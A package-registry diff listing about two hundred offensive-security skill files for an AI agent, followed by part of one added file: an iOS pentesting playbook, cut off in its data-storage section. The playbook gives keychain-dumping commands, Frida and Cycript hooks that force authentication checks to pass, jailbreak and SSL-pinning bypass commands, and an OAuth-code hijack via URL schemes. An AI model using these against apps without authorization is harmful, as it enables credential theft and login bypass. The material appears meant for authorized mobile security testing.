ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,418 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ios-pentesting-tricks
|
|
3
|
+
description: >-
|
|
4
|
+
iOS pentesting playbook. Use when testing iOS applications for keychain extraction, URL scheme hijacking, Universal Links exploitation, runtime manipulation, binary protection analysis, data storage issues, and transport security bypass during authorized mobile security assessments.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: iOS Pentesting Tricks — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert iOS application security testing techniques. Covers jailbreak vs non-jailbreak methodology, keychain extraction, URL scheme/Universal Links abuse, Frida/Objection runtime hooks, binary protection checks, and data storage analysis. Base models miss protection class nuances and AASA misconfiguration patterns.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth SSL pinning bypass (SecTrust hooks, SSL Kill Switch, framework-specific techniques)
|
|
16
|
+
- [android-pentesting-tricks](../android-pentesting-tricks/SKILL.md) when also testing the Android version of the same app
|
|
17
|
+
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
|
|
18
|
+
|
|
19
|
+
### Advanced Reference
|
|
20
|
+
|
|
21
|
+
Also load [IOS_RUNTIME_TRICKS.md](./IOS_RUNTIME_TRICKS.md) when you need:
|
|
22
|
+
- Frida recipes for iOS-specific hooks (ObjC class enumeration, method swizzling)
|
|
23
|
+
- Objection command reference for iOS
|
|
24
|
+
- Runtime hooking patterns and bypass templates
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. JAILBREAK VS NON-JAILBREAK TESTING
|
|
29
|
+
|
|
30
|
+
| Capability | Jailbroken | Non-Jailbroken |
|
|
31
|
+
|---|---|---|
|
|
32
|
+
| SSL pinning bypass | Frida, SSL Kill Switch 2, Objection | Network debugging proxy, MITM profiles (limited) |
|
|
33
|
+
| Keychain access | keychain-dumper, Frida dump | Only via backup extraction (limited) |
|
|
34
|
+
| Filesystem inspection | Full access to app sandbox | Only via `ideviceinstaller` + backup |
|
|
35
|
+
| Runtime manipulation | Frida, Cycript, LLDB attach | Frida on sideloaded apps (re-signed) |
|
|
36
|
+
| Binary analysis | Class-dump, Hopper on-device | Decrypt IPA on Mac, analyze offline |
|
|
37
|
+
| Method hooking | Full Frida/Cycript capability | Limited (needs re-signed app + Frida gadget) |
|
|
38
|
+
|
|
39
|
+
### Non-Jailbreak Testing Setup
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# Extract IPA from device
|
|
43
|
+
ideviceinstaller -l # List installed apps
|
|
44
|
+
ios-deploy --id <UDID> --download --bundle_id com.target.app
|
|
45
|
+
|
|
46
|
+
# Or use frida-ios-dump for decrypted IPA (jailbroken)
|
|
47
|
+
python dump.py com.target.app
|
|
48
|
+
|
|
49
|
+
# Sideload with Frida gadget (non-jailbreak runtime hooking)
|
|
50
|
+
# 1. Extract IPA, 2. Insert FridaGadget.dylib into Frameworks/
|
|
51
|
+
# 3. Re-sign with valid profile, 4. Install via ios-deploy
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## 2. KEYCHAIN EXTRACTION
|
|
57
|
+
|
|
58
|
+
### 2.1 Keychain Protection Classes
|
|
59
|
+
|
|
60
|
+
| Protection Class | Availability | Use Case | Risk Level |
|
|
61
|
+
|---|---|---|---|
|
|
62
|
+
| `kSecAttrAccessibleWhenUnlocked` | Only when device unlocked | Passwords, tokens | Medium |
|
|
63
|
+
| `kSecAttrAccessibleAfterFirstUnlock` | After first unlock until reboot | Background tokens | High (persists across locks) |
|
|
64
|
+
| `kSecAttrAccessibleAlways` | Always (deprecated iOS 12+) | Legacy apps | Critical |
|
|
65
|
+
| `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Passcode set + unlocked | High-value secrets | Low |
|
|
66
|
+
|
|
67
|
+
### 2.2 Extraction Methods
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Jailbroken: keychain-dumper
|
|
71
|
+
/path/to/keychain-dumper -a # Dump all accessible items
|
|
72
|
+
/path/to/keychain-dumper -g password # Generic passwords only
|
|
73
|
+
/path/to/keychain-dumper -i # Internet passwords
|
|
74
|
+
|
|
75
|
+
# Frida / Objection
|
|
76
|
+
objection -g com.target.app explore
|
|
77
|
+
> ios keychain dump
|
|
78
|
+
> ios keychain dump --json # JSON output for parsing
|
|
79
|
+
|
|
80
|
+
# Frida script for keychain enumeration
|
|
81
|
+
frida -U -f com.target.app -l keychain_dump.js
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### 2.3 What to Look For
|
|
85
|
+
|
|
86
|
+
| Item Type | Keychain Class | Typical Content |
|
|
87
|
+
|---|---|---|
|
|
88
|
+
| `kSecClassGenericPassword` | `genp` | App tokens, API keys, user credentials |
|
|
89
|
+
| `kSecClassInternetPassword` | `inet` | HTTP auth credentials, OAuth tokens |
|
|
90
|
+
| `kSecClassCertificate` | `cert` | Client certificates |
|
|
91
|
+
| `kSecClassIdentity` | `idnt` | Cert + private key pair |
|
|
92
|
+
| `kSecClassKey` | `keys` | Encryption keys |
|
|
93
|
+
|
|
94
|
+
---
|
|
95
|
+
|
|
96
|
+
## 3. URL SCHEME HIJACKING
|
|
97
|
+
|
|
98
|
+
### 3.1 Custom URL Scheme Discovery
|
|
99
|
+
|
|
100
|
+
```bash
|
|
101
|
+
# From IPA/app bundle — check Info.plist
|
|
102
|
+
plutil -p /path/to/Payload/Target.app/Info.plist | grep -A 10 CFBundleURLTypes
|
|
103
|
+
|
|
104
|
+
# Example output:
|
|
105
|
+
# "CFBundleURLSchemes" => ["targetapp", "fb123456789"]
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### 3.2 Hijacking Attack
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
Scenario: Target app registers "targetapp://" for OAuth callback
|
|
112
|
+
|
|
113
|
+
1. Attacker app also registers "targetapp://" URL scheme
|
|
114
|
+
2. User initiates OAuth login in target app
|
|
115
|
+
3. OAuth provider redirects to targetapp://callback?code=AUTH_CODE
|
|
116
|
+
4. iOS may open attacker's app instead (non-deterministic scheme resolution)
|
|
117
|
+
5. Attacker captures OAuth authorization code
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
| Attack Vector | Technique | Impact |
|
|
121
|
+
|---|---|---|
|
|
122
|
+
| OAuth callback interception | Register same scheme | Steal authorization codes |
|
|
123
|
+
| Deep link hijacking | Register same scheme | Phishing, data interception |
|
|
124
|
+
| Payment callback interception | Register payment scheme | Transaction manipulation |
|
|
125
|
+
|
|
126
|
+
### 3.3 URL Scheme vs Universal Links Security
|
|
127
|
+
|
|
128
|
+
| Feature | Custom URL Scheme | Universal Links |
|
|
129
|
+
|---|---|---|
|
|
130
|
+
| Registration | Any app can claim any scheme | Requires AASA file on domain |
|
|
131
|
+
| Uniqueness | Not guaranteed (multiple apps) | One app per domain path |
|
|
132
|
+
| Validation | None | Cryptographic (AASA signed) |
|
|
133
|
+
| Recommended for | Non-sensitive navigation | OAuth callbacks, sensitive actions |
|
|
134
|
+
| Hijackable | Yes (duplicate registration) | Only via AASA misconfiguration |
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 4. UNIVERSAL LINKS EXPLOITATION
|
|
139
|
+
|
|
140
|
+
### 4.1 AASA (Apple-App-Site-Association) Misconfiguration
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Fetch AASA file
|
|
144
|
+
curl -s "https://target.com/.well-known/apple-app-site-association" | jq .
|
|
145
|
+
curl -s "https://target.com/apple-app-site-association" | jq .
|
|
146
|
+
|
|
147
|
+
# Check for wildcard patterns (overly broad)
|
|
148
|
+
# Bad: "paths": ["*"] ← captures ALL URLs
|
|
149
|
+
# Bad: "paths": ["/NOT *"] ← poorly written exclusion
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
| Misconfiguration | Risk | Exploitation |
|
|
153
|
+
|---|---|---|
|
|
154
|
+
| Wildcard paths (`*`) | App claims all URLs on domain | Redirect chain may break UL → fallback to URL scheme |
|
|
155
|
+
| Missing AASA file | Universal Links won't work | App falls back to less-secure URL scheme |
|
|
156
|
+
| AASA on wrong domain | Links not associated | Scheme hijacking possible |
|
|
157
|
+
| AASA not served as `application/json` | Parsing failure | Links won't associate |
|
|
158
|
+
| CDN caching stale AASA | Outdated associations | Inconsistent behavior |
|
|
159
|
+
|
|
160
|
+
### 4.2 Breaking Universal Links → URL Scheme Fallback
|
|
161
|
+
|
|
162
|
+
```
|
|
163
|
+
Technique: Force Universal Link to not open app, causing fallback to URL scheme
|
|
164
|
+
|
|
165
|
+
1. User long-presses link → "Open in Safari" (disables UL for that domain)
|
|
166
|
+
2. Redirect chain: domain A → domain B → target (UL breaks on redirect)
|
|
167
|
+
3. JavaScript redirect instead of 302 (UL only works on server-side redirects)
|
|
168
|
+
4. App not installed → URL scheme fallback → hijackable
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## 5. RUNTIME MANIPULATION
|
|
174
|
+
|
|
175
|
+
### 5.1 Frida on iOS
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# Connect to app on jailbroken device
|
|
179
|
+
frida -U -f com.target.app --no-pause
|
|
180
|
+
|
|
181
|
+
# Basic ObjC exploration
|
|
182
|
+
> ObjC.classes # List all classes
|
|
183
|
+
> ObjC.classes.NSURLSession # Check if class exists
|
|
184
|
+
> ObjC.classes.AppDelegate.$methods # List methods
|
|
185
|
+
> ObjC.classes.AppDelegate['- isLoggedIn'].implementation # Read method
|
|
186
|
+
|
|
187
|
+
# Hook method and modify return value
|
|
188
|
+
Interceptor.attach(ObjC.classes.AuthManager['- isAuthenticated'].implementation, {
|
|
189
|
+
onLeave: function(retval) {
|
|
190
|
+
retval.replace(ptr(1)); // Force return TRUE
|
|
191
|
+
}
|
|
192
|
+
});
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
### 5.2 Objection iOS Commands
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
objection -g com.target.app explore
|
|
199
|
+
|
|
200
|
+
# Keychain
|
|
201
|
+
> ios keychain dump
|
|
202
|
+
|
|
203
|
+
# Cookies
|
|
204
|
+
> ios cookies get
|
|
205
|
+
|
|
206
|
+
# Pasteboard
|
|
207
|
+
> ios pasteboard monitor
|
|
208
|
+
|
|
209
|
+
# Jailbreak detection bypass
|
|
210
|
+
> ios jailbreak disable
|
|
211
|
+
|
|
212
|
+
# SSL pinning bypass
|
|
213
|
+
> ios sslpinning disable
|
|
214
|
+
|
|
215
|
+
# Binary info
|
|
216
|
+
> ios info binary
|
|
217
|
+
|
|
218
|
+
# Hooking
|
|
219
|
+
> ios hooking watch class AppDelegate
|
|
220
|
+
> ios hooking watch method "-[AuthManager isAuthenticated]" --dump-args --dump-return
|
|
221
|
+
> ios hooking set return_value "-[AuthManager isJailbroken]" false
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### 5.3 Cycript (Legacy but Useful)
|
|
225
|
+
|
|
226
|
+
```javascript
|
|
227
|
+
// Attach to running app
|
|
228
|
+
cycript -p com.target.app
|
|
229
|
+
|
|
230
|
+
// Explore UI hierarchy
|
|
231
|
+
UIApp.keyWindow.recursiveDescription().toString()
|
|
232
|
+
|
|
233
|
+
// Find view controllers
|
|
234
|
+
[UIWindow.keyWindow().rootViewController _printHierarchy].toString()
|
|
235
|
+
|
|
236
|
+
// Call methods directly
|
|
237
|
+
[AppDelegate.sharedInstance isLoggedIn] // → check return
|
|
238
|
+
AppDelegate.sharedInstance.isLoggedIn = true // → modify
|
|
239
|
+
|
|
240
|
+
// Access singleton instances
|
|
241
|
+
var vc = choose(LoginViewController)[0]
|
|
242
|
+
vc.bypassLogin()
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## 6. BINARY PROTECTIONS
|
|
248
|
+
|
|
249
|
+
### 6.1 Checking Binary Security
|
|
250
|
+
|
|
251
|
+
```bash
|
|
252
|
+
# PIE (Position Independent Executable)
|
|
253
|
+
otool -hv /path/to/binary | grep PIE
|
|
254
|
+
|
|
255
|
+
# ARC (Automatic Reference Counting)
|
|
256
|
+
otool -I -v /path/to/binary | grep objc_release
|
|
257
|
+
|
|
258
|
+
# Stack canaries
|
|
259
|
+
otool -I -v /path/to/binary | grep __stack_chk_guard
|
|
260
|
+
|
|
261
|
+
# Encryption (FairPlay DRM)
|
|
262
|
+
otool -l /path/to/binary | grep -A 4 LC_ENCRYPTION_INFO
|
|
263
|
+
# cryptid 0 = decrypted, cryptid 1 = encrypted
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
| Protection | Check | Missing Impact |
|
|
267
|
+
|---|---|---|
|
|
268
|
+
| PIE | `MH_PIE` flag in header | ASLR disabled → predictable addresses |
|
|
269
|
+
| ARC | `_objc_release` symbol | Use-after-free more likely |
|
|
270
|
+
| Stack Canaries | `__stack_chk_guard` | Buffer overflow exploitation easier |
|
|
271
|
+
| Encryption | `cryptid` value | Binary readable without decryption |
|
|
272
|
+
|
|
273
|
+
### 6.2 Decrypting IPA
|
|
274
|
+
|
|
275
|
+
```bash
|
|
276
|
+
# frida-ios-dump (preferred, jailbroken device)
|
|
277
|
+
python dump.py com.target.app
|
|
278
|
+
# Outputs: decrypted IPA in current directory
|
|
279
|
+
|
|
280
|
+
# bagbak (alternative)
|
|
281
|
+
bagbak com.target.app
|
|
282
|
+
|
|
283
|
+
# Manual via Frida
|
|
284
|
+
frida -U -f com.target.app -l dump_memory.js
|
|
285
|
+
# Dump decrypted binary from memory, replace encrypted section
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
### 6.3 Class-dump for ObjC Analysis
|
|
289
|
+
|
|
290
|
+
```bash
|
|
291
|
+
# Dump Objective-C class information
|
|
292
|
+
class-dump /path/to/decrypted/binary > classes.h
|
|
293
|
+
class-dump -H /path/to/decrypted/binary -o /tmp/headers/
|
|
294
|
+
|
|
295
|
+
# Search for interesting patterns
|
|
296
|
+
grep -r "password\|token\|secret\|apiKey\|isJailbroken\|isRooted" /tmp/headers/
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## 7. DATA STORAGE ISSUES
|
|
302
|
+
|
|
303
|
+
### 7.1 Sensitive Data Locations
|
|
304
|
+
|
|
305
|
+
| Location | Path | What to Check |
|
|
306
|
+
|---|---|---|
|
|
307
|
+
| NSUserDefaults | `Library/Preferences/<bundle-id>.plist` | Tokens, user data, feature flags |
|
|
308
|
+
| Core Data (SQLite) | `Library/Application Support/*.sqlite` | Cached API responses, user records |
|
|
309
|
+
| Keychain | System keychain database | Credentials, keys (check protection class) |
|
|
310
|
+
| Cookies | `Library/Cookies/Cookies.binarycookies` | Session cookies |
|
|
311
|
+
| Cache | `Library/Caches/` | Cached API responses, images with PII |
|
|
312
|
+
| Screenshots | `Library/SplashBoard/Snapshots/` | App state captured on background |
|
|
313
|
+
| Keyboard cache | `Library/Keyboard/` | Autocomplete entries with sensitive input |
|
|
314
|
+
| Pasteboard | System pasteboard | Copied passwords, tokens |
|
|
315
|
+
| WebView storage | `Library/WebKit/WebsiteData/` | LocalStorage, IndexedDB, cookies |
|
|
316
|
+
|
|
317
|
+
### 7.2 Inspection Commands
|
|
318
|
+
|
|
319
|
+
```bash
|
|
320
|
+
# On jailbroken device — app sandbox at:
|
|
321
|
+
# /var/mobile/Containers/Data/Application/<UUID>/
|
|
322
|
+
|
|
323
|
+
# Find app UUID
|
|
324
|
+
find /var/mobile/Containers -name "com.target.app" 2>/dev/null
|
|
325
|
+
|
|
326
|
+
# Check NSUserDefaults
|
|
327
|
+
plutil -p Library/Preferences/com.target.app.plist
|
|
328
|
+
|
|
329
|
+
